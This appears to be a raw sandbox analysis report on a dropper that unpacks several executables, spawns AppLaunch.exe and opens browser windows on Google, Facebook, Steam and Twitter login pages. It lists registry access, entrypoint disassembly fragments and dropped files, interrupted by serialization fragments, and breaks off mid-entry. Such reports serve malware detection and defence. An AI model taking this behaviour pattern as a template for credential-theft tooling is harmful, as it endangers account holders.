"0c12cd0538bea9f88b40d52cf438f139.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "0c12cd0538bea9f88b40d52cf438f139.exe" was detected as "Microsoft Linker" and name: "Linker" "10IO12so.exe" was detected as "Microsoft Cabinet" and name: "sfx" "10IO12so.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "10IO12so.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "10IO12so.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "10IO12so.exe" was detected as "Microsoft Linker" and name: "Linker" "bJ1qg86.exe" was detected as "Microsoft Cabinet" and name: "sfx" "bJ1qg86.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "bJ1qg86.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "bJ1qg86.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "bJ1qg86.exe" was detected as "Microsoft Linker" and name: "Linker" "Ac8sp85.exe" was detected as "Microsoft Cabinet" and name: "sfx" "Ac8sp85.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "Ac8sp85.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "Ac8sp85.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "Ac8sp85.exe" was detected as "Microsoft Linker" and name: "Linker" "13Ef605.exe" was detected as "Microsoft Cabinet" and name: "sfx" "13Ef605.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "13Ef605.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "13Ef605.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "13Ef605.exe" was detected as "Microsoft Linker" and name: "Linker" "12hz690.exe" was detected as "Microsoft Cabinet" and name: "sfx" "12hz690.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "12hz690.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "12hz690.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "12hz690.exe" was detected as "Microsoft Linker" and name: "Linker" "11GY8714.exe" was detected as "Microsoft Cabinet" and name: "sfx" "11GY8714.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "11GY8714.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "11GY8714.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "11GY8714.exe" was detected as "Microsoft Linker" and name: "Linker"4e:T630,"10IO12so.exe" touched "Computer" (Path: "HKCU\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "10IO12so.exe" touched "Network" (Path: "HKCU\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER") "10IO12so.exe" touched "Property System Both Class Factory" (Path: "HKCU\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}") "10IO12so.exe" touched "Application Registration" (Path: "HKCU\CLSID\{591209C7-767B-42B2-9FBA-44EE4615F2C7}\TREATAS") "AppLaunch.exe" touched "NetworkListManager" (Path: "HKCU\CLSID\{DCB00C01-570F-4A9B-8D69-199FDBA5723B}") "AppLaunch.exe" touched "Network List Manager" (Path: "HKCU\CLSID\{A47979D2-C419-11D9-A5B4-001185AD2B89}") "AppLaunch.exe" touched "PSFactoryBuffer" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{1299CF18-C4F5-4B6A-BB0F-2299F0398E27}") "AppLaunch.exe" touched "WinInetBroker Class" (Path: "HKCU\CLSID\{C39EE728-D419-4BD4-A3EF-EDA059DBD935}\TREATAS") "AppLaunch.exe" touched "WBEM Locator" (Path: "HKCU\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\INPROCSERVER32") "AppLaunch.exe" touched "Windows Management and Instrumentation" (Path: "HKCU\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\LOCALSERVER32") "AppLaunch.exe" touched "Microsoft WBEM (non)Standard Marshaling for IEnumWbemClassObject" (Path: "HKCU\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}") "AppLaunch.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemServices" (Path: "HKCU\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TREATAS") "AppLaunch.exe" touched "WbemDefaultPathParser" (Path: "HKCU\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\INPROCSERVER32")4f:T1033,"0c12cd0538bea9f88b40d52cf438f139.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "10IO12so.exe" file has an entrypoint instructions - "call 0x420aea,jmp 0x4203fb,push ebp,mov ebp, esp,push esi,push dword ptr [ebp + 8],mov esi, ecx,call 0x4205e7,mov dword ptr [esi], 0x49fdf0,mov eax, esi,pop esi,pop ebp,ret 4,and dword ptr [ecx + 4], 0,mov eax, ecx,and dword ptr [ecx + 8], 0,mov dword ptr [ecx + 4], 0x49fdf8,mov dword ptr [ecx], 0x49fdf0,ret ,push ebp,mov ebp, esp,push esi,push dword ptr [ebp + 8],mov esi, ecx,call 0x4205e7,mov dword ptr [esi], 0x49fe0c,mov eax, esi,pop esi,pop ebp,ret 4,and dword ptr [ecx + 4], 0,mov eax, ecx,and dword ptr [ecx + 8], 0," "bJ1qg86.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "Ac8sp85.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "13Ef605.exe" file has an entrypoint instructions - "call 0x402aae,jmp 0x402450,mov ecx, dword ptr [ebp - 0xc],mov dword ptr fs:[0], ecx,pop ecx,pop edi,pop edi,pop esi,pop ebx,mov esp, ebp,pop ebp,push ecx,ret ,mov ecx, dword ptr [ebp - 0x10],xor ecx, ebp,call 0x40231c,jmp 0x4025dc,push eax,push dword ptr fs:[0],lea eax, [esp + 0xc],sub esp, dword ptr [esp + 0xc],push ebx,push esi,push edi,mov dword ptr [eax], ebp,mov ebp, eax,mov eax, dword ptr [0x41800c],xor eax, ebp,push eax,push dword ptr [ebp - 4],mov dword ptr [ebp - 4], 0xffffffff,lea eax, [ebp - 0xc],mov dword ptr fs:[0], eax,ret ,push eax," "12hz690.exe" file has an entrypoint instructions - "call 0x402aae,jmp 0x402450,mov ecx, dword ptr [ebp - 0xc],mov dword ptr fs:[0], ecx,pop ecx,pop edi,pop edi,pop esi,pop ebx,mov esp, ebp,pop ebp,push ecx,ret ,mov ecx, dword ptr [ebp - 0x10],xor ecx, ebp,call 0x40231c,jmp 0x4025dc,push eax,push dword ptr fs:[0],lea eax, [esp + 0xc],sub esp, dword ptr [esp + 0xc],push ebx,push esi,push edi,mov dword ptr [eax], ebp,mov ebp, eax,mov eax, dword ptr [0x41800c],xor eax, ebp,push eax,push dword ptr [ebp - 4],mov dword ptr [ebp - 4], 0xffffffff,lea eax, [ebp - 0xc],mov dword ptr fs:[0], eax,ret ,push eax," "11GY8714.exe" file has an entrypoint instructions - "call 0x402aae,jmp 0x402450,mov ecx, dword ptr [ebp - 0xc],mov dword ptr fs:[0], ecx,pop ecx,pop edi,pop edi,pop esi,pop ebx,mov esp, ebp,pop ebp,push ecx,ret ,mov ecx, dword ptr [ebp - 0x10],xor ecx, ebp,call 0x40231c,jmp 0x4025dc,push eax,push dword ptr fs:[0],lea eax, [esp + 0xc],sub esp, dword ptr [esp + 0xc],push ebx,push esi,push edi,mov dword ptr [eax], ebp,mov ebp, eax,mov eax, dword ptr [0x41800c],xor eax, ebp,push eax,push dword ptr [ebp - 4],mov dword ptr [ebp - 4], 0xffffffff,lea eax, [ebp - 0xc],mov dword ptr fs:[0], eax,ret ,push eax,"50:T63e,"0c12cd0538bea9f88b40d52cf438f139.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "0c12cd0538bea9f88b40d52cf438f139.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "bJ1qg86.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "bJ1qg86.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "Ac8sp85.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "Ac8sp85.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "10IO12so.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "10IO12so.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "10IO12so.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "11GY8714.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "11GY8714.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "AppLaunch.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "AppLaunch.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "12hz690.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "12hz690.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "AppLaunch.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN") "AppLaunch.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN")51:T591,file/memory contains long string with (Indicator: "text/javascript"; File: "urlref_httpstwitter.comiflowlogin") Found string "" (Indicator: "text/javascript"; File: "MVF3R5KJ.htm") Found string "" (Indicator: "text/javascript"; File: "MVF3R5KJ.htm") Found string "" (Indicator: "text/javascript"; File: "MVF3R5KJ.htm") Found string "" (Indicator: "text/javascript"; File: "MVF3R5KJ.htm")52:Tfc5,Observed system executable string:"C:\Windows\system32\apphelp.dll" [Source: 00004008.00000FA8.6322916.00050000.wprm] Observed system executable string:"%WINDIR%\system32\advpack.dll" [Source: 00000000-00004000-00000C25-31429981] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP000.TMP\"" [Source: 00000000-00004000-00000BC1-31451418] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP001.TMP\"" [Source: 00000000-00003808-00000BC1-26012219] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP002.TMP\"" [Source: 00000000-00004008-00000BC1-26410738] Observed system executable string:"%WINDIR%\system32\uxtheme.dll" [Source: 00000000-00003332-00000C25-26943201] Observed system executable string:"%WINDIR%\System32\ieframe.dll" [Source: 00000000-00003332-00000C25-28650449] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll" [Source: 00000000-00003964-00000C25-84596104] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0\clr.dll" [Source: 00000000-00003964-00000C25-90811085] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll" [Source: 00000000-00003964-00000C25-91275930] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" [Source: 00000000-00003964-00000C25-108715994] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll" [Source: 00000000-00003964-00000C25-122632191] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Configuration\96f7edb07b12303f0ec2595c7f3778c7\System.Configuration.ni.dll" [Source: 00000000-00003964-00000C25-122890151] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Xml\15af16d373cf0528cb74fc73d365fdbf\System.Xml.ni.dll" [Source: 00000000-00003964-00000C25-124489137] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\WindowsBase\1a4cc316fb6d09525321fc0be44692d8\WindowsBase.ni.dll" [Source: 00000000-00003964-00000C25-129947783] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\PresentationCore\468f4e17be144ca12a73a4297eacc9cc\PresentationCore.ni.dll" [Source: 00000000-00003964-00000C25-130491871] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\Presentatio5ae0f00f#\252cc7b0fae8cfe083bdc149957c0c54\PresentationFramework.ni.dll" [Source: 00000000-00003964-00000C25-130672742] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\PresentationCore\v4.0_4.0.0.0__31bf3856ad364e35\ucrtbase_clr0400.dll" [Source: 00000000-00003964-00000C25-131318467] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\WPF\wpfgfx_v0400.dll" [Source: 00000000-00003964-00000C25-132445863] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationNative_v0400.dll" [Source: 00000000-00003964-00000C25-132536040] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00003964-00000C25-132794095] Observed system executable string:"%WINDIR%\system32\en-US\tzres.dll.mui" [Source: 00000000-00003964-00000C25-132986806] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll" [Source: 00000000-00003964-00000C25-133417646] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.IdentityModel\c2ef5bc545b98a289f02d0b3eddbe280\System.IdentityModel.ni.dll" [Source: 00000000-00003964-00000C25-134942030] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\SMDiagnostics\dc67dcb4b2fb4a3853d458cab08561f0\SMDiagnostics.ni.dll" [Source: 00000000-00003964-00000C25-135399121]53:T654,Spawned process "bJ1qg86.exe" (UID: 00000000-00003808) Spawned process "Ac8sp85.exe" (UID: 00000000-00004008) Spawned process "10IO12so.exe" (UID: 00000000-00003332) Spawned process "iexplore.exe" with commandline "https://accounts.google.com/" (UID: 00000000-00002140) Spawned process "iexplore.exe" with commandline "https://www.facebook.com/login" (UID: 00000000-00002328) Spawned process "iexplore.exe" with commandline "https://accounts.google.com/" (UID: 00000000-00002668) Spawned process "iexplore.exe" with commandline "https://store.steampowered.com/login/" (UID: 00000000-00003712) Spawned process "iexplore.exe" with commandline "SCODEF:2328 CREDAT:275457 /prefetch:2" (UID: 00000000-00001884) Spawned process "iexplore.exe" with commandline "SCODEF:2140 CREDAT:275457 /prefetch:2" (UID: 00000000-00004040) Spawned process "iexplore.exe" with commandline "SCODEF:2668 CREDAT:275457 /prefetch:2" (UID: 00000000-00002600) Spawned process "iexplore.exe" with commandline "https://twitter.com/i/flow/login" (UID: 00000000-00002680) Spawned process "iexplore.exe" with commandline "SCODEF:3712 CREDAT:275457 /prefetch:2" (UID: 00000000-00000108) Spawned process "iexplore.exe" with commandline "SCODEF:2680 CREDAT:275457 /prefetch:2" (UID: 00000000-00001528) Spawned process "11GY8714.exe" (UID: 00000000-00000452) Spawned process "AppLaunch.exe" (UID: 00000000-00000340) Spawned process "12hz690.exe" (UID: 00000000-00002296) Spawned process "AppLaunch.exe" (UID: 00000000-00003964) Spawned process "13Ef605.exe" (UID: 00000000-00002500) Spawned process "AppLaunch.exe" (UID: 00000000-00003052)54:T654,Spawned process "bJ1qg86.exe" (UID: 00000000-00003808) Spawned process "Ac8sp85.exe" (UID: 00000000-00004008) Spawned process "10IO12so.exe" (UID: 00000000-00003332) Spawned process "iexplore.exe" with commandline "https://accounts.google.com/" (UID: 00000000-00002140) Spawned process "iexplore.exe" with commandline "https://www.facebook.com/login" (UID: 00000000-00002328) Spawned process "iexplore.exe" with commandline "https://accounts.google.com/" (UID: 00000000-00002668) Spawned process "iexplore.exe" with commandline "https://store.steampowered.com/login/" (UID: 00000000-00003712) Spawned process "iexplore.exe" with commandline "SCODEF:2328 CREDAT:275457 /prefetch:2" (UID: 00000000-00001884) Spawned process "iexplore.exe" with commandline "SCODEF:2140 CREDAT:275457 /prefetch:2" (UID: 00000000-00004040) Spawned process "iexplore.exe" with commandline "SCODEF:2668 CREDAT:275457 /prefetch:2" (UID: 00000000-00002600) Spawned process "iexplore.exe" with commandline "https://twitter.com/i/flow/login" (UID: 00000000-00002680) Spawned process "iexplore.exe" with commandline "SCODEF:3712 CREDAT:275457 /prefetch:2" (UID: 00000000-00000108) Spawned process "iexplore.exe" with commandline "SCODEF:2680 CREDAT:275457 /prefetch:2" (UID: 00000000-00001528) Spawned process "11GY8714.exe" (UID: 00000000-00000452) Spawned process "AppLaunch.exe" (UID: 00000000-00000340) Spawned process "12hz690.exe" (UID: 00000000-00002296) Spawned process "AppLaunch.exe" (UID: 00000000-00003964) Spawned process "13Ef605.exe" (UID: 00000000-00002500) Spawned process "AppLaunch.exe" (UID: 00000000-00003052)55:T5bb,Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; File: "0c12cd0538bea9f88b40d52cf438f139.exe") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; File: "0c12cd0538bea9f88b40d52cf438f139.exe") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00000452.00000000.68550.00F20000.00000002.mdmp, 00000000-00000452.00000000.68560.00F28000.00000004.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00002296.00000000.69086.01250000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00002500.00000000.71152.01020000.00000002.mdmp, 00000000-00002500.00000001.72275.01020000.00000002.mdmp, 00000000-00002500.00000001.72275.01028000.00000004.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00002500.00000001.72275.01028000.00000004.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00002500.00000001.72275.01028000.00000004.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp")56:T6f11,"10IO12so.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP002.TMP\10IO12so.exe]- [targetUID: 00000000-00004008] "bJ1qg86.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP000.TMP\bJ1qg86.exe]- [targetUID: 00000000-00003808] "Ac8sp85.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP001.TMP\Ac8sp85.exe]- [targetUID: 00000000-00004008] "13Ef605.exe" has type "PE32 executable (console) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP000.TMP\13Ef605.exe]- [targetUID: 00000000-00002500] "urlref_httpsaccounts.google.com" has type "HTML document UTF-8 Unicode text with very long lines"- [targetUID: N/A] "12hz690.exe" has type "PE32 executable (console) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP001.TMP\12hz690.exe]- [targetUID: 00000000-00003808] "11GY8714.exe" has type "PE32 executable (console) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP002.TMP\11GY8714.exe]- [targetUID: 00000000-00004008] "logo_steam_1_.svg" has type "SVG Scalable Vector Graphics image"- [targetUID: N/A] "urlblockindex_1_.bin" has type "data"- [targetUID: N/A] "libraries~b28b7af69_1_.js" has type "UTF-8 Unicode text with very long lines with CRLF LF line terminators"- [targetUID: N/A] "main_2_.js" has type "data"- [targetUID: N/A] "identifier_1_.htm" has type "HTML document UTF-8 Unicode text with very long lines"- [targetUID: N/A] "identifier_2_.htm" has type "HTML document UTF-8 Unicode text with very long lines"- [targetUID: N/A] "MVF3R5KJ.htm" has type "HTML document UTF-8 Unicode text with very long lines with CRLF NEL line terminators"- Location: [%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\CKDNCXYS\MVF3R5KJ.htm]- [targetUID: 00000000-00002328] "urlref_httpstwitter.comiflowlogin" has type "HTML document UTF-8 Unicode text with very long lines"- [targetUID: N/A] "Tar10A8.tmp" has type "data"- [targetUID: N/A] "shared_global_1_.js" has type "ASCII text with very long lines with CRLF line terminators"- [targetUID: N/A] "main_1_.css" has type "UTF-8 Unicode text with very long lines with CRLF LF line terminators"- [targetUID: N/A] "MotivaSans-RegularItalic_1_.ttf" has type "TrueType Font data digitally signed 18 tables 1st "DSIG" 23 names Macintosh Copyright \251 2012 2017 2020 by Plau. All rights reserved.Motiva SansRegular Italic4.015;Plau"- [targetUID: N/A] "MotivaSans-BoldItalic_1_.ttf" has type "TrueType Font data digitally signed 18 tables 1st "DSIG" 22 names Macintosh Copyright \251 2012 2017 2020 by Plau. All rights reserved.Motiva SansBold Italic4.015;Plau;Mo"- [targetUID: N/A] "MotivaSans-LightItalic_1_.ttf" has type "TrueType Font data digitally signed 18 tables 1st "DSIG" 24 names Macintosh Copyright \251 2012 2017 2020 by Plau. All rights reserved.Motiva SansLight Italic4.015;Plau;M"- [targetUID: N/A] "MotivaSans-Medium_1_.ttf" has type "TrueType Font data digitally signed 18 tables 1st "DSIG" 24 names Macintosh Copyright \251 2012 2017 2020 by Plau. All rights reserved.Motiva SansMedium4.015;Plau;MotivaS"- [targetUID: N/A] "MotivaSans-Bold_1_.ttf" has type "TrueType Font data digitally signed 18 tables 1st "DSIG" 22 names Macintosh Copyright \251 2012 2017 2020 by Plau. All rights reserved.Motiva SansBold4.015;Plau;MotivaSan"- [targetUID: N/A] "MotivaSans-Regular_1_.ttf" has type "TrueType Font data digitally signed 18 tables 1st "DSIG" 22 names Macintosh Copyright \251 2012 2017 2020 by Plau. All rights reserved.Motiva SansRegular4.015;Plau;Motiva"- [targetUID: N/A] "MotivaSans-Light_1_.ttf" has type "TrueType Font data digitally signed 18 tables 1st "DSIG" 24 names Macintosh Copyright \251 2012 2017 2020 by Plau. All rights reserved.Motiva SansLight4.015;Plau;MotivaSa"- [targetUID: N/A] "MotivaSans-Black_1_.ttf" has type "TrueType Font data digitally signed 18 tables 1st "DSIG" 24 names Macintosh Copyright \251 2012 2017 2020 by Plau. All rights reserved.Motiva SansBlack4.015;Plau;MotivaSa"- [targetUID: N/A] "MotivaSans-Thin_1_.ttf" has type "TrueType Font data digitally signed 18 tables 1st "DSIG" 24 names Macintosh Copyright \251 2012 2017 2020 by Plau. All rights reserved.Motiva SansThin4.015;Plau;MotivaSan"- [targetUID: N/A] "jquery-1.8.3.min_1_.js" has type "ASCII text with very long lines with CRLF line terminators"- [targetUID: N/A] "dynamicstore_1_.js" has type "ASCII text with very long lines with CRLF line terminators"- [targetUID: N/A] "main_1_.js" has type "ASCII text with very long lines with CRLF line terminators"- [targetUID: N/A] "shared_global_1_.css" has type "ASCII text with very long lines with CRLF LF line terminators"- [targetUID: N/A] "imagestore.dat" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Internet Explorer\imagestore\3mt7jhv\imagestore.dat]- [targetUID: 00000000-00002668] "Cab10A7.tmp" has type "Microsoft Cabinet archive data Windows 2000/XP setup 63165 bytes 1 file at 0x2c +A "authroot.stl" number 1 6 datablocks 0x1 compression"- [targetUID: N/A] "login_1_.js" has type "UTF-8 Unicode text with very long lines with CRLF line terminators"- [targetUID: N/A] "urlref_httpswww.facebook.comlogin" has type "HTML document UTF-8 Unicode text with very long lines"- [targetUID: N/A] "cart_1_.css" has type "ASCII text with very long lines with CRLF LF line terminators"- [targetUID: N/A] "favicon_3_.ico" has type "MS Windows icon resource - 5 icons 16x16 32 bits/pixel 24x24 32 bits/pixel"- [targetUID: N/A] "CheckConnection_2_.htm" has type "HTML document ASCII text with very long lines"- [targetUID: N/A] "CheckConnection_1_.htm" has type "HTML document ASCII text with very long lines"- [targetUID: N/A] "buttons_1_.css" has type "ASCII text with CRLF LF line terminators"- [targetUID: N/A] "4UabrENHsxJlGDuGo1OIlLU94YtzCwA_1_.woff" has type "Web Open Font Format TrueType length 26412 version 1.1"- [targetUID: N/A] "4UaGrENHsxJlGDuGo1OIlL3Owpg_1_.woff" has type "Web Open Font Format TrueType length 26180 version 1.1"- [targetUID: N/A] "login_1_.htm" has type "HTML document UTF-8 Unicode text with very long lines with CRLF LF line terminators"- [targetUID: N/A] "urlref_httpsstore.steampowered.comlogin" has type "HTML document UTF-8 Unicode text with very long lines with CRLF LF line terminators"- [targetUID: N/A] "shared_responsive_adapter_1_.js" has type "UTF-8 Unicode text with CRLF line terminators"- [targetUID: N/A] "~DFB52471DD03E8F5D0.TMP" has type "data"- Location: [%TEMP%\~DFB52471DD03E8F5D0.TMP]- [targetUID: 00000000-00002140] "KFOlCnqEu92Fr1MmEU9fBBc-_1_.woff" has type "Web Open Font Format TrueType length 20012 version 1.1"- [targetUID: N/A] "KFOkCnqEu92Fr1MmgVxIIzQ_1_.woff" has type "Web Open Font Format TrueType length 19936 version 1.1"- [targetUID: N/A] "KFOlCnqEu92Fr1MmSU5fBBc-_1_.woff" has type "Web Open Font Format TrueType length 19916 version 1.1"- [targetUID: N/A] "KFOlCnqEu92Fr1MmWUlfBBc-_1_.woff" has type "Web Open Font Format TrueType length 19888 version 1.1"- [targetUID: N/A] "en-US.4" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Internet Explorer\DomainSuggestions\en-US.4]- [targetUID: 00000000-00002328] "manifest_1_.js" has type "ASCII text with very long lines with CRLF LF line terminators"- [targetUID: N/A] "~DF507A9FBB971317D1.TMP" has type "data"- Location: [%TEMP%\~DF507A9FBB971317D1.TMP]- [targetUID: 00000000-00002328] "~DF2FC329B0FD338AC6.TMP" has type "data"- [targetUID: N/A] "~DF86B97C3BC1C72ABE.TMP" has type "data"- Location: [%TEMP%\~DF86B97C3BC1C72ABE.TMP]- [targetUID: 00000000-00002140] "~DFBC50098B4BD5CAD3.TMP" has type "data"- [targetUID: N/A] "~DF032B83EA32A6F5D8.TMP" has type "data"- Location: [%TEMP%\~DF032B83EA32A6F5D8.TMP]- [targetUID: 00000000-00003712] "~DF3612AEC0AE9133D3.TMP" has type "data"- Location: [%TEMP%\~DF3612AEC0AE9133D3.TMP]- [targetUID: 00000000-00002328] "~DF27747B4F6A200AAC.TMP" has type "data"- [targetUID: N/A] "~DF2B541094E8E17076.TMP" has type "data"- Location: [%TEMP%\~DF2B541094E8E17076.TMP]- [targetUID: 00000000-00003712] "~DFAF9AF41A9DDDC8E7.TMP" has type "data"- Location: [%TEMP%\~DFAF9AF41A9DDDC8E7.TMP]- [targetUID: 00000000-00002668] "~DF8797A05A41C3AFB0.TMP" has type "data"- Location: [%TEMP%\~DF8797A05A41C3AFB0.TMP]- [targetUID: 00000000-00002680] "~DFA2EBD2EB0B1C5820.TMP" has type "data"- [targetUID: N/A] "~DF6CC99E1900815B14.TMP" has type "data"- Location: [%TEMP%\~DF6CC99E1900815B14.TMP]- [targetUID: 00000000-00002328] "tooltip_1_.js" has type "HTML document ASCII text with CRLF line terminators"- [targetUID: N/A] "70DAE932E3BCB3C00656A27B544BA9CA" has type "data"- Location: 